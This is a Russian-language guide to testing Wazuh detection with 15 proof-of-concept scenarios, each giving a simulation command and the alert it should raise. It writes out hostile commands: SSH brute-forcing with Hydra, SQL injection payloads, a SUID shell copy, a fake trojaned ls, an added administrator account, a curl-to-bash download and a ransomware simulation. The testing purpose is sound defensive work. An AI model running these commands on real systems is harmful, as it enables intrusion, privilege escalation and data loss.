# Wazuh PoC-сценарии - 15 тестов обнаружения угроз

> 15 практических PoC-сценариев Wazuh 4.14 - brute-force, EICAR, FIM, SQL injection, rootkit, Docker, ransomware с командами и ожидаемыми алертами

Source: https://opennix.org/docs/wazuh/poc/wazuh-poc-scenarios/


Этот раздел содержит 15 готовых сценариев Proof of Concept для демонстрации возможностей обнаружения угроз Wazuh 4.14. Каждый сценарий включает описание атаки, команду для ее воспроизведения в тестовой среде и ожидаемый алерт с идентификатором правила. Все сценарии следует выполнять исключительно в изолированных тестовых средах.

## Сводная таблица сценариев

| # | Сценарий | MITRE ATT&CK | Wazuh Rule ID | Уровень |
|---|---|---|---|---|
| 1 | Brute-force SSH | T1110 | 5710, 5712 | 10 |
| 2 | Обнаружение вредоносного ПО (EICAR) | T1204 | 87105 | 12 |
| 3 | FIM - изменение файла | T1565 | 550, 554 | 7 |
| 4 | Обнаружение уязвимостей | - | 23501-23504 | 7-13 |
| 5 | SCA - несоответствие политике | - | 19001-19004 | 3-7 |
| 6 | Веб-атака (SQL injection) | T1190 | 31103, 31106 | 6-12 |
| 7 | Обнаружение руткита | T1014 | 510-516 | 7-12 |
| 8 | Обнаружение трояна | T1036 | 510 | 7 |
| 9 | Docker exec мониторинг | T1610 | 87924 | 5 |
| 10 | Windows аудит (создание пользователя) | T1136 | 5157 | 10 |
| 11 | Linux аудит (sudo) | T1548.003 | 5401-5403 | 3-5 |
| 12 | Active Directory logon | T1078 | 60106, 60122 | 3-10 |
| 13 | Подозрительный бинарный файл | T1036 | 100300+ | 7-10 |
| 14 | Обнаружение сканирования (Nmap) | T1046 | 581 | 10 |
| 15 | Поведение ransomware | T1486 | 554, 100400+ | 12-14 |

## Сценарий 1: Brute-force SSH

Моделирование атаки подбора пароля SSH. Wazuh обнаруживает множественные неудачные попытки аутентификации с одного IP-адреса и генерирует алерт о brute-force атаке. Это один из наиболее распространенных векторов начального доступа к серверам.

### Предварительные требования

- Wazuh Agent установлен на целевом Linux-сервере
- SSH-сервер запущен и доступен
- Модуль log data collection настроен для `/var/log/auth.log` (Debian/Ubuntu) или `/var/log/secure` (RHEL/CentOS)

### Команда запуска

```bash
# С атакующей машины - 10 неудачных попыток входа
for i in $(seq 1 10); do
  sshpass -p 'wrongpassword' ssh -o StrictHostKeyChecking=no testuser@TARGET_IP 2>/dev/null
done
```

Альтернативный вариант с использованием Hydra:

```bash
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP -t 4 -V
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 5710 | 5 | sshd: Attempt to login using a non-existent user |
| 5712 | 10 | sshd: brute force trying to get access to the system |
| 5720 | 10 | Multiple sshd authentication failures |

### Проверка

```bash
# Через OpenSearch
curl -sk -u admin:${ADMIN_PASS} \
  "https://localhost:9200/wazuh-alerts-*/_search" \
  -H "Content-Type: application/json" \
  -d '{"query":{"bool":{"must":[{"match":{"rule.id":"5712"}},{"range":{"timestamp":{"gte":"now-1h"}}}]}}}'
```

## Сценарий 2: Обнаружение вредоносного ПО (EICAR)

Проверка обнаружения вредоносного ПО с использованием тестового файла EICAR. EICAR - стандартный тестовый файл, распознаваемый всеми антивирусными решениями. Wazuh обнаруживает его через интеграцию с VirusTotal при изменении файловой системы.

### Предварительные требования

- Модуль FIM (syscheck) настроен для мониторинга целевой директории
- Интеграция с VirusTotal активирована (необязательно, но рекомендуется)
- ClamAV установлен на агенте (для альтернативного метода обнаружения)

### Команда запуска

```bash
# Создание тестового файла EICAR
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' \
  > /tmp/eicar-test.txt

# Альтернатива: скачивание EICAR
curl -o /tmp/eicar-test.com https://secure.eicar.org/eicar.com
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 554 | 7 | File added to the system (FIM) |
| 87105 | 12 | VirusTotal: Alert - /tmp/eicar-test.txt - X positives |
| 52502 | 7 | ClamAV: Virus detected (если ClamAV установлен) |

### Проверка

```bash
# Проверка алертов FIM
curl -sk -u admin:${ADMIN_PASS} \
  "https://localhost:9200/wazuh-alerts-*/_search" \
  -H "Content-Type: application/json" \
  -d '{"query":{"bool":{"must":[{"match":{"rule.groups":"syscheck"}},{"match":{"syscheck.path":"/tmp/eicar-test.txt"}}]}}}'
```

### Очистка

```bash
rm -f /tmp/eicar-test.txt /tmp/eicar-test.com
```

## Сценарий 3: FIM - мониторинг изменений файлов

Проверка модуля File Integrity Monitoring. FIM отслеживает создание, модификацию и удаление файлов в контролируемых директориях. Алерт содержит информацию о типе изменения, хешах файла и пользователе, выполнившем операцию.

### Предварительные требования

Модуль syscheck настроен для мониторинга тестовой директории:

```xml
<syscheck>
  <directories check_all="yes" realtime="yes" report_changes="yes">/opt/test-fim</directories>
</syscheck>
```

### Команда запуска

```bash
# Создание тестовой директории и файла
mkdir -p /opt/test-fim
echo "original content" > /opt/test-fim/config.txt

# Ожидание сканирования (или мгновенно при realtime="yes")
sleep 10

# Модификация файла
echo "modified content" >> /opt/test-fim/config.txt

# Изменение прав
chmod 777 /opt/test-fim/config.txt

# Удаление файла
rm -f /opt/test-fim/config.txt
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 554 | 5 | File added to the system |
| 550 | 7 | Integrity checksum changed |
| 553 | 7 | File permissions changed |
| 553 | 7 | File deleted |

### Проверка

```bash
# Через Wazuh API
TOKEN=$(curl -sk -u wazuh-wui:${WUI_PASS} \
  -X POST "https://localhost:55000/security/user/authenticate?raw=true")
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/syscheck/001?search=/opt/test-fim"
```

Подробнее о настройке FIM читайте в разделе [Мониторинг целостности файлов](/docs/wazuh/capabilities/wazuh-file-integrity-monitoring/).

## Сценарий 4: Обнаружение уязвимостей

Проверка модуля Vulnerability Detector. Wazuh сканирует установленные пакеты на агенте и сопоставляет их версии с базами уязвимостей (CVE). Модуль автоматически обновляет базы и генерирует алерты при обнаружении уязвимых пакетов.

### Предварительные требования

Модуль Vulnerability Detector включен на менеджере:

```xml
<vulnerability-detector>
  <enabled>yes</enabled>
  <interval>5m</interval>
  <run_on_start>yes</run_on_start>
  <provider name="canonical">
    <enabled>yes</enabled>
    <os>focal</os>
    <os>jammy</os>
    <update_interval>1h</update_interval>
  </provider>
  <provider name="nvd">
    <enabled>yes</enabled>
    <update_interval>1h</update_interval>
  </provider>
</vulnerability-detector>
```

### Команда запуска

```bash
# Установка заведомо уязвимого пакета
# (пример: OpenSSL с известной CVE)
apt-get install openssl=1.1.1f-1ubuntu2 -y 2>/dev/null || true

# Или для CentOS/RHEL
yum downgrade openssl -y 2>/dev/null || true

# Ожидание следующего цикла сканирования
# (по умолчанию: 5 минут)
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 23501 | 7 | Vulnerability found: Low severity |
| 23502 | 9 | Vulnerability found: Medium severity |
| 23503 | 11 | Vulnerability found: High severity |
| 23504 | 13 | Vulnerability found: Critical severity |

### Проверка

```bash
# Через Wazuh API
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/vulnerability/001?limit=5&sort=-severity"
```

## Сценарий 5: SCA - несоответствие конфигурации

Проверка модуля Security Configuration Assessment. SCA сравнивает настройки системы с политиками CIS Benchmark и генерирует алерты при обнаружении несоответствий. Результаты включают рекомендации по исправлению.

### Предварительные требования

Модуль SCA активирован на агенте:

```xml
<sca>
  <enabled>yes</enabled>
  <scan_on_start>yes</scan_on_start>
  <interval>12h</interval>
</sca>
```

### Команда запуска

```bash
# Создание заведомо небезопасной конфигурации SSH
sed -i 's/^#PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config
sed -i 's/^#PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config
sed -i 's/^#PermitEmptyPasswords.*/PermitEmptyPasswords yes/' /etc/ssh/sshd_config

# Установка небезопасных прав на /etc/shadow
chmod 644 /etc/shadow

# Принудительный запуск SCA-сканирования
/var/ossec/bin/wazuh-control reload
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 19001 | 3 | SCA scan started |
| 19002 | 7 | SCA check failed: Ensure SSH root login is disabled |
| 19003 | 5 | SCA check passed |
| 19004 | 3 | SCA scan completed |

### Проверка

```bash
curl -sk -H "Authorization: Bearer ${TOKEN}" \
  "https://localhost:55000/sca/001/checks/cis_ubuntu22-04" \
  | jq '.data.affected_items[] | select(.result == "failed") | {id, title}'
```

### Очистка

```bash
# Восстановление безопасных настроек
sed -i 's/^PermitRootLogin yes/#PermitRootLogin prohibit-password/' /etc/ssh/sshd_config
sed -i 's/^PermitEmptyPasswords yes/#PermitEmptyPasswords no/' /etc/ssh/sshd_config
chmod 640 /etc/shadow
```

## Сценарий 6: Веб-атака - SQL Injection

Моделирование SQL-инъекции через веб-приложение. Wazuh анализирует логи веб-сервера и обнаруживает паттерны SQL-инъекций в URL-параметрах и POST-данных, используя встроенные правила для Apache, Nginx и IIS.

### Предварительные требования

- Apache или Nginx установлен на агенте
- Wazuh настроен для мониторинга логов веб-сервера

### Команда запуска

```bash
# SQL injection через URL-параметры
curl "http://TARGET_IP/page?id=1'+OR+'1'='1"
curl "http://TARGET_IP/page?id=1;DROP+TABLE+users--"
curl "http://TARGET_IP/page?id=1'+UNION+SELECT+null,username,password+FROM+users--"
curl "http://TARGET_IP/search?q='+OR+1=1+--"
curl "http://TARGET_IP/login?user=admin'--&pass=anything"

# SQL injection через POST (если есть форма)
curl -X POST "http://TARGET_IP/login" \
  -d "username=admin'--&password=anything"

# Множественные попытки для генерации корреляционного алерта
for i in $(seq 1 20); do
  curl -s "http://TARGET_IP/page?id=${i}'+OR+'1'='1" > /dev/null
done
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 31103 | 6 | SQL injection attempt |
| 31106 | 12 | Web server 500 error (possible successful injection) |
| 31151 | 10 | Multiple web server 400 errors from same source |
| 31161 | 10 | Multiple SQL injection attempts |

## Сценарий 7: Обнаружение руткита

Проверка модуля Rootcheck. Модуль обнаруживает признаки руткитов: скрытые процессы, подозрительные файлы в системных директориях, модифицированные системные бинарные файлы и аномалии в файловой системе.

### Предварительные требования

Модуль rootcheck активирован:

```xml
<rootcheck>
  <disabled>no</disabled>
  <check_files>yes</check_files>
  <check_trojans>yes</check_trojans>
  <check_dev>yes</check_dev>
  <check_sys>yes</check_sys>
  <check_pids>yes</check_pids>
  <check_ports>yes</check_ports>
  <frequency>36000</frequency>
</rootcheck>
```

### Команда запуска

```bash
# Создание подозрительного файла в /dev (типичное поведение руткита)
touch /dev/.hidden_file

# Создание файла с SUID-битом в нетипичном месте
cp /bin/bash /tmp/.suid_shell
chmod 4755 /tmp/.suid_shell

# Создание скрытого каталога в /dev
mkdir -p /dev/shm/.hidden_dir

# Принудительный запуск rootcheck
/var/ossec/bin/wazuh-control reload
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 510 | 7 | Host-based anomaly detection event |
| 512 | 7 | Hidden file or directory found in /dev |
| 513 | 8 | Hidden file found in /dev/shm |
| 516 | 12 | SUID/SGID binary found in unusual location |

### Очистка

```bash
rm -f /dev/.hidden_file /tmp/.suid_shell
rm -rf /dev/shm/.hidden_dir
```

## Сценарий 8: Обнаружение трояна

Rootcheck проверяет системные бинарные файлы на наличие подозрительных строк, характерных для троянских программ. Модуль сравнивает системные утилиты с базой известных сигнатур троянов.

### Предварительные требования

- Rootcheck активирован с `<check_trojans>yes</check_trojans>`
- База данных троянов обновлена (`/var/ossec/etc/shared/rootkit_trojans.txt`)

### Команда запуска

```bash
# Создание поддельного системного бинарного файла
# (имитация трояна в ls)
cp /bin/ls /tmp/ls_backup
cat > /tmp/trojan_test.c << 'CEOF'
#include <stdlib.h>
int main() {
    system("/bin/ls");
    return 0;
}
CEOF
gcc -o /usr/local/bin/ls /tmp/trojan_test.c 2>/dev/null

# Создание файла с подозрительным именем
touch /usr/bin/..LsA

# Принудительный запуск rootcheck
/var/ossec/bin/wazuh-control reload
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 510 | 7 | Trojaned version of file detected |
| 511 | 7 | Anomaly detected in system binary |

### Очистка

```bash
rm -f /usr/local/bin/ls /tmp/trojan_test.c /usr/bin/..LsA
cp /tmp/ls_backup /bin/ls 2>/dev/null
rm -f /tmp/ls_backup
```

## Сценарий 9: Docker exec мониторинг

Wazuh отслеживает операции с контейнерами Docker, включая запуск команд через `docker exec`, создание и удаление контейнеров. Мониторинг осуществляется через анализ логов Docker daemon.

### Предварительные требования

- Docker установлен на агенте
- Wazuh настроен для мониторинга Docker:

```xml
<localfile>
  <log_format>json</log_format>
  <location>/var/lib/docker/containers/*/*.log</location>
</localfile>

<wodle name="docker-listener">
  <disabled>no</disabled>
  <interval>10s</interval>
  <attempts>5</attempts>
  <run_on_start>yes</run_on_start>
</wodle>
```

### Команда запуска

```bash
# Запуск тестового контейнера
docker run -d --name wazuh-test-container alpine sleep 3600

# Выполнение команд внутри контейнера
docker exec wazuh-test-container id
docker exec wazuh-test-container cat /etc/passwd
docker exec -it wazuh-test-container /bin/sh -c "whoami && hostname"

# Подозрительные действия в контейнере
docker exec wazuh-test-container apk add nmap 2>/dev/null
docker exec wazuh-test-container wget http://example.com/suspicious 2>/dev/null
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 87924 | 5 | Docker: Container exec started |
| 87901 | 3 | Docker: Container created |
| 87903 | 3 | Docker: Container started |
| 87928 | 5 | Docker: Image pulled |

### Очистка

```bash
docker stop wazuh-test-container
docker rm wazuh-test-container
```

Подробнее о мониторинге контейнеров читайте в разделе [Container Security](/docs/wazuh/capabilities/wazuh-container-security/).

## Сценарий 10: Windows аудит - создание пользователя

Wazuh анализирует журнал событий Windows Security и обнаруживает создание новых учетных записей. Это критический индикатор компрометации, особенно при создании пользователей вне штатных процессов управления доступом.

### Предварительные требования

- Wazuh Agent установлен на Windows Server
- Аудит управления учетными записями включен в групповой политике

### Команда запуска

```powershell
# PowerShell: создание локального пользователя
New-LocalUser -Name "testuser_poc" -Password (ConvertTo-SecureString "P@ssw0rd123!" -AsPlainText -Force) -FullName "PoC Test User" -Description "Created for Wazuh PoC"

# Добавление в группу администраторов
Add-LocalGroupMember -Group "Administrators" -Member "testuser_poc"

# cmd: альтернативный метод
net user testuser_poc P@ssw0rd123! /add
net localgroup Administrators testuser_poc /add
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 5157 | 10 | A user account was created (Event ID 4720) |
| 5158 | 10 | A user account was enabled (Event ID 4722) |
| 5155 | 10 | A member was added to a security-enabled global group (Event ID 4728) |

### Очистка

```powershell
Remove-LocalUser -Name "testuser_poc"
```

## Сценарий 11: Linux аудит - sudo

Wazuh мониторит использование команды sudo, фиксируя все случаи повышения привилегий. Алерты генерируются при успешном и неуспешном использовании sudo, а также при попытках выполнения запрещенных команд.

### Предварительные требования

- Wazuh Agent мониторит `/var/log/auth.log` или `/var/log/secure`

### Команда запуска

```bash
# Успешное выполнение sudo
sudo ls /root

# Неуспешная попытка sudo (от непривилегированного пользователя)
su - testuser -c "sudo cat /etc/shadow" 2>/dev/null

# Множественные неуспешные попытки
for i in $(seq 1 5); do
  echo "wrongpassword" | sudo -S cat /etc/shadow 2>/dev/null
done

# Sudo с подозрительной командой
sudo bash -c "curl http://example.com/payload | bash" 2>/dev/null
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 5401 | 3 | First time user executed sudo |
| 5402 | 5 | Successful sudo |
| 5403 | 5 | User NOT in sudoers file |
| 5404 | 5 | Incorrect password in sudo |

## Сценарий 12: Active Directory logon мониторинг

Wazuh анализирует события аутентификации Windows, включая интерактивные и сетевые входы в систему, блокировки учетных записей и использование привилегированных учетных записей.

### Предварительные требования

- Wazuh Agent установлен на контроллере домена или рабочей станции Windows
- Аудит входа в систему включен в групповой политике
- Политика блокировки учетных записей настроена

### Команда запуска

```powershell
# Множественные неудачные попытки входа (генерация блокировки)
$password = ConvertTo-SecureString "WrongPassword!" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("DOMAIN\testuser", $password)

for ($i = 1; $i -le 10; $i++) {
    try {
        Start-Process notepad.exe -Credential $cred -ErrorAction Stop
    } catch {
        Write-Host "Attempt $i failed"
    }
}

# Вход с привилегированной учетной записью
runas /user:DOMAIN\Administrator "cmd.exe /c whoami"
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 60106 | 5 | Logon failure (Event ID 4625) |
| 60122 | 10 | Account lockout (Event ID 4740) |
| 60104 | 3 | Successful logon (Event ID 4624) |
| 60130 | 8 | Privileged logon (Event ID 4672) |

## Сценарий 13: Обнаружение подозрительных бинарных файлов

Wazuh обнаруживает появление исполняемых файлов в нетипичных директориях. Комбинация FIM и пользовательских правил позволяет отслеживать создание бинарных файлов в `/tmp`, `/var/tmp`, домашних каталогах пользователей и других подозрительных местах.

### Предварительные требования

FIM настроен для мониторинга нетипичных директорий:

```xml
<syscheck>
  <directories check_all="yes" realtime="yes">/tmp</directories>
  <directories check_all="yes" realtime="yes">/var/tmp</directories>
  <directories check_all="yes" realtime="yes">/dev/shm</directories>
</syscheck>
```

Пользовательское правило:

```xml
<rule id="100300" level="10">
  <if_sid>554</if_sid>
  <field name="syscheck.path">/tmp/|/var/tmp/|/dev/shm/</field>
  <match>is_executable</match>
  <description>Executable binary created in temporary directory: $(syscheck.path)</description>
  <mitre>
    <id>T1036</id>
  </mitre>
  <group>syscheck,suspicious_binary,</group>
</rule>
```

### Команда запуска

```bash
# Компиляция бинарного файла в /tmp
cat > /tmp/test_binary.c << 'CEOF'
#include <stdio.h>
int main() { printf("test\n"); return 0; }
CEOF
gcc -o /tmp/test_binary /tmp/test_binary.c
chmod +x /tmp/test_binary

# Копирование системного бинарника в /var/tmp
cp /usr/bin/python3 /var/tmp/svchost

# Создание скрипта в /dev/shm
echo '#!/bin/bash' > /dev/shm/payload.sh
echo 'id > /tmp/output' >> /dev/shm/payload.sh
chmod +x /dev/shm/payload.sh
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 554 | 5 | File added to the system |
| 100300 | 10 | Executable binary created in temporary directory (пользовательское правило) |

### Очистка

```bash
rm -f /tmp/test_binary /tmp/test_binary.c /var/tmp/svchost /dev/shm/payload.sh
```

## Сценарий 14: Обнаружение сетевого сканирования (Nmap)

Wazuh обнаруживает сетевое сканирование через анализ логов файрвола и IDS. При обнаружении множественных подключений к различным портам с одного IP-адреса генерируется алерт о возможном сканировании.

### Предварительные требования

- На целевом хосте включено логирование файрвола (iptables, Windows Firewall)
- Wazuh Agent мониторит логи файрвола

Рекомендуемая настройка iptables для логирования:

```bash
# Логирование всех новых входящих соединений
iptables -A INPUT -m state --state NEW -j LOG --log-prefix "iptables: "
```

### Команда запуска

```bash
# С атакующей машины: полное сканирование портов
nmap -sS -p 1-1000 TARGET_IP

# Сканирование с определением сервисов
nmap -sV -p 22,80,443,3306,5432 TARGET_IP

# Агрессивное сканирование (генерирует больше алертов)
nmap -A -T4 TARGET_IP

# UDP-сканирование
nmap -sU --top-ports 100 TARGET_IP
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 581 | 10 | Multiple firewall drop events from same source |
| 4101 | 8 | Firewall drop event |
| 31151 | 10 | Multiple connection attempts from same source |

## Сценарий 15: Обнаружение поведения ransomware

Wazuh обнаруживает типичное поведение ransomware: массовое переименование файлов с добавлением расширения, быстрое изменение множества файлов, удаление теневых копий Windows. Для обнаружения используется комбинация FIM и пользовательских правил.

### Предварительные требования

FIM настроен с `report_changes` и `realtime`:

```xml
<syscheck>
  <directories check_all="yes" realtime="yes" report_changes="yes">/opt/important-data</directories>
</syscheck>
```

Пользовательские правила для обнаружения ransomware:

```xml
<rule id="100400" level="12" frequency="20" timeframe="60">
  <if_matched_sid>550</if_matched_sid>
  <description>Possible ransomware activity: $(syscheck.diff) files modified rapidly</description>
  <mitre>
    <id>T1486</id>
  </mitre>
  <group>syscheck,ransomware,</group>
</rule>

<rule id="100401" level="14">
  <if_sid>554</if_sid>
  <field name="syscheck.path">\.encrypted$|\.locked$|\.crypto$|\.crypt$</field>
  <description>Possible ransomware: file with encryption extension created: $(syscheck.path)</description>
  <mitre>
    <id>T1486</id>
  </mitre>
  <group>syscheck,ransomware,critical,</group>
</rule>
```

### Команда запуска

```bash
# Подготовка тестовых данных
mkdir -p /opt/important-data
for i in $(seq 1 30); do
  echo "Important document content ${i}" > "/opt/important-data/document_${i}.txt"
done

# Ожидание первичного сканирования FIM
sleep 30

# Имитация поведения ransomware: массовое переименование с добавлением расширения
for f in /opt/important-data/*.txt; do
  cp "${f}" "${f}.encrypted"
  echo "ENCRYPTED" > "${f}"
done

# Имитация ransom note
echo "Your files have been encrypted. Send Bitcoin to..." > /opt/important-data/README_DECRYPT.txt
```

### Ожидаемые алерты

| Rule ID | Уровень | Описание |
|---|---|---|
| 550 | 7 | Integrity checksum changed (множественные) |
| 554 | 5 | File added to the system (.encrypted) |
| 100400 | 12 | Possible ransomware activity: rapid file modifications |
| 100401 | 14 | Possible ransomware: file with encryption extension created |

### Очистка

```bash
rm -rf /opt/important-data
```

## Рекомендации по проведению PoC

### Порядок выполнения

1. Начните с простых сценариев (FIM, SCA) для проверки базовой работоспособности
2. Переходите к сетевым сценариям (SSH brute-force, Nmap)
3. Завершайте комплексными сценариями (ransomware, rootkit)

### Документирование результатов

Для каждого сценария фиксируйте:

- Время выполнения команды
- Время появления алерта в Dashboard (задержка обнаружения)
- Полный текст алерта (JSON)
- Скриншот из Wazuh Dashboard

### Типичные проблемы

| Проблема | Причина | Решение |
|---|---|---|
| Алерт не появляется | FIM сканирование по расписанию | Включите `realtime="yes"` |
| Нет алертов об уязвимостях | Базы CVE не обновлены | Проверьте `vulnerability-detector` в ossec.conf |
| SCA не запускается | Модуль отключен | Установите `<enabled>yes</enabled>` |
| Docker алерты отсутствуют | Docker listener не настроен | Добавьте wodle `docker-listener` |

Подробнее о возможностях обнаружения читайте в разделе [Возможности Wazuh](/docs/wazuh/capabilities/). Информация о настройке правил доступна в разделе [Разработка](/docs/wazuh/development/).

